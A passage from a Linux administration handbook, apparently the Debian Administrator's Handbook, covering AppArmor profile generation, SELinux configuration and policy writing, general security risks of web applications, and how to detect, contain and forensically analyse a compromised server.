See the following wiki page for more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Finished generating profile for /usr/sbin/dhclient.

Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript.

The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).

Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.

At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.

aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient.

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too.

14.5. Introduction to SELinux

14.5.1. Principles

SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.

SELinux uses a set of rules — collectively known as a policy — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (targeted and strict) are provided to avoid the bulk of the configuration work.

With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its security context. The context is defined by the identity of the user who started the process, the role and the domain that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.

圖形 14.1. Security contexts and Unix users

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).

EXTRA Domains and types are equivalent

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t, and when the program starts, it automatically switches to the ssh_t domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.

圖形 14.2. Automatic transitions between domains

IN PRACTICE Finding the security context

To find the current security context in a shell, you should call id -Z.

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting.

To find the security context of a given process, you should use the Z option of ps.

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd

The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (Multi-Category Security) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.

Finally, to find the type assigned to a file, you can use ls -Z.

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.

14.5.2. Setting Up SELinux

SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.

The apt install selinux-basics selinux-policy-default auditd command will automatically install the packages required to configure an SELinux system.

The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined module (modules management is detailed further in this section).

Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with fixfiles relabel.

The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot.

It is worth noting that the selinux-activate script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).

14.5.3. Managing an SELinux System

The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the semodule command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the semanage command.

Those two commands can thus be used to modify the current SELinux configuration, which is stored in /etc/selinux/default/. Unlike other configuration files that you can find in /etc/, all those files must not be changed by hand. You should use the programs designed for this purpose.

GOING FURTHER More documentation

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page.

→ https://wiki.debian.org/SELinux

14.5.3.1. Managing SELinux Modules

Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2. The pp.bz2 extension stands for policy package (compressed with bzip2).

Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2

libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.

# semodule -l

accountsd

acct

[...]

# semodule -e abrt

# semodule -d accountsd

# semodule -l

abrt

acct

[...]

# semodule -r abrt

libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule immediately loads the new configuration unless you use its -n option. It is worth noting that the program acts by default on the current configuration (which is indicated by the SELINUXTYPE variable in /etc/selinux/config), but that you can modify another one by specifying it with the -s option.

14.5.3.2. Managing Identities

Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the semanage command.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the __default__ entry. The semanage login -a -s user_u user command will associate the user_u identity to the given user. Finally, semanage login -d user drops the mapping entry assigned to this user.

# semanage login -a -s user_u rhertzog

# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *

rhertzog             user_u               s0                   *

root                 unconfined_u         s0-s0:c0.c1023       *

# semanage login -d rhertzog

semanage user -l lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (/home/user/*). The prefix must be picked among user, staff, and sysadm. The “staff” prefix results in files of type “staff_home_dir_t”. Creating a new SELinux user identity is done with semanage user -a -R roles -P prefix identity. Finally, you can remove an SELinux user identity with semanage user -d identity.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling   MLS/       MLS/

SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

root            sysadm     s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r

staff_u         staff      s0         s0-s0:c0.c1023                 staff_r sysadm_r

sysadm_u        sysadm     s0         s0-s0:c0.c1023                 sysadm_r

system_u        user       s0         s0-s0:c0.c1023                 system_r

test_u          staff      s0         s0                             staff_r user_r

unconfined_u    unconfined s0         s0-s0:c0.c1023                 system_r unconfined_r

user_u          user       s0         s0                             user_r

# semanage user -d test_u

14.5.3.3. Managing File Contexts, Ports and Booleans

Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the /srv/www/ file hierarchy, you could execute semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" followed by restorecon -R /srv/www/. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.

Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080.

Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.5.4. Adapting the Rules

Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the reference policy.

To create new modules, the selinux-policy-dev package is required, as well as selinux-policy-doc. The latter contains the documentation of the standard rules (/usr/share/doc/selinux-policy-doc/html/) and sample files that can be used as templates to create new modules. Install those files and study them more closely:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile

$ cp /usr/share/doc/selinux-policy-doc/example.fc ./

$ cp /usr/share/doc/selinux-policy-doc/example.if ./

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.

14.5.4.1. Writing a .fc file

Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.

範例 14.2. example.fc file

# myapp executable will have:

# label: system_u:object_r:myapp_exec_t

# MLS sensitivity: s0

# MCS categories: <none>

/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Writing a .if File

In the sample below, the first interface (“myapp_domtrans”) controls who can execute the application. The second one (“myapp_read_log”) grants read rights on the application's log files.

Each interface must generate a valid set of rules which can be embedded in a .te file. You should thus declare all the types that you use (with the gen_require macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.

範例 14.3. example.if File

## <summary>Myapp example policy</summary>

## <desc>

##      <p>

##              More descriptive text about myapp.  The desc

##              tag can also use p, ul, and ol

##              html tags for formatting.

##      </p>

##      <p>

##              This policy supports the following myapp features:

##              <ul>

##              <li>Feature A</li>

##              <li>Feature B</li>

##              <li>Feature C</li>

##              </ul>

##      </p>

## </desc>

#

########################################

## <summary>

##      Execute a domain transition to run myapp.

## </summary>

## <param name="domain">

##      <summary>

##      Domain allowed to transition.

##      </summary>

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

##      Read myapp log files.

## </summary>

## <param name="domain">

##      <summary>

##      Domain allowed to read the log files.

##      </summary>

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file read_file_perms;

')

DOCUMENTATION Explanations about the reference policy

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Writing a .te File

Have a look at the example.te file:

GOING FURTHER The m4 macro language

To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar allow directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.

In practice, m4 is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of allow directives.

The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.

policy_module(example,1.0.0) # a non-base module name must match the file name

########################################

#

# Declarations

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Myapp local policy

#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

The module must be identified by its name and version number. This directive is required.

If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.

Those interfaces define the myapp_t type as a process domain that should be used by any executable labeled with myapp_exec_t. Implicitly, this adds an exec_type attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the userdomain module allows processes with domains user_t, staff_t, and sysadm_t to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of dpkg with its dpkg_t domain).

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

The allow directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “type:class“ where type is its SELinux type and class describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).

Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/devel/include/support/obj_perm_sets.spt lists them.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

→ https://selinuxproject.org/page/ObjectClassesPerms

Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.

However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:

avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

To better understand this message, let us study it piece by piece.

表格 14.1. Analysis of an SELinux trace

Message

Description

avc: denied

An operation has been denied.

{ read write }

This operation required the read and write permissions.

pid=1876

The process with PID 1876 executed the operation (or tried to execute it).

comm="syslogd"

The process was an instance of the syslogd program.

name="xconsole"

The target object was named xconsole. Sometimes you can also have a “path” variable — with the full path — instead.

dev=tmpfs

The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).

ino=5510

The object is identified by the inode number 5510.

scontext=system_u:system_r:syslogd_t:s0

This is the security context of the process who executed the operation.

tcontext=system_u:object_r:device_t:s0

This is the security context of the target object.

tclass=fifo_file

The target object is a FIFO file.

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

COMPLEMENTS No roles in policy rules

It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights.

14.5.4.4. Compiling the Files

Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files.

14.6. Other Security-Related Considerations

Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.

14.6.1. Inherent Risks of Web Applications

The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (Linux, Apache, MySQL, PHP) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.

VOCABULARY SQL injection

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.

14.6.2. Knowing What To Expect

A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.

QUICK LOOK Filtering HTTP queries

Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.

Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.

mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable.

The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines.

A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.

At this point, the attacker has enough freedom of movement that they often install an IRC bot (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The www-data account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.

VOCABULARY Privilege escalation

This term covers anything that can be used to obtain more permissions than a given user should normally have. The sudo program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.

Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also QUICK LOOK The checksecurity and chkrootkit/rkhunter packages); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on.

This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.

14.6.3. Choosing the Software Wisely

Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit.

VOCABULARY Security audit

A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

VOCABULARY Zero-day exploit

A zero-day exploit attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.

14.6.4. Managing a Machine as a Whole

Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.

By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.

Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).

14.6.5. Users Are Players

Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.

The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.

QUICK LOOK autolog

The autolog package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.

14.6.6. Physical Security

There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.

Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.

14.6.7. Legal Liability

An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.

14.7. Dealing with a Compromised Machine

Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.

14.7.1. Detecting and Seeing the Cracker's Intrusion

The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

A program installed under /var/tmp/ and running as the web server? No doubt left, the machine is compromised.

This is only one example, but many other hints can ring the administrator's bell:

- an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to dpkg;

- a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;

- errors caused by the /tmp/ partition being full, which turned out to be full of illegal copies of movies;

- and so on.

14.7.2. Putting the Server Off-Line

In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see 節 14.7.3, “Keeping Everything that Could Be Used as Evidence”, 節 14.7.5, “Forensic Analysis” and 節 14.7.6, “Reconstituting the Attack Scenario”), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. Keeping Everything that Could Be Used as Evidence

Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.

In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (netstat -tupan for network connections, ps auxf for a list of processes, ls -alR /proc/[0-9]* for a little more information on running programs), and every performed check should carefully be written down.

CAUTION Hot analysis

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.

Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.

14.7.4. Re-installing

The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Forensic Analysis

Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.

Retracing an attack scenario usually involves looking for everything that was modified and executed:

- .bash_history files often provide for a very interesting read;

- so does listing files that were recently created, modified or accessed;

- the strings command helps identifying programs installed by the attacker, by extracting text strings from a binary;

- the log files in /var/log/ often allow reconstructing a chronology of events;

- special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see 節 A.8, “Kali Linux”), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see 節 A.6, “Grml”).

→ https://blackarch.org

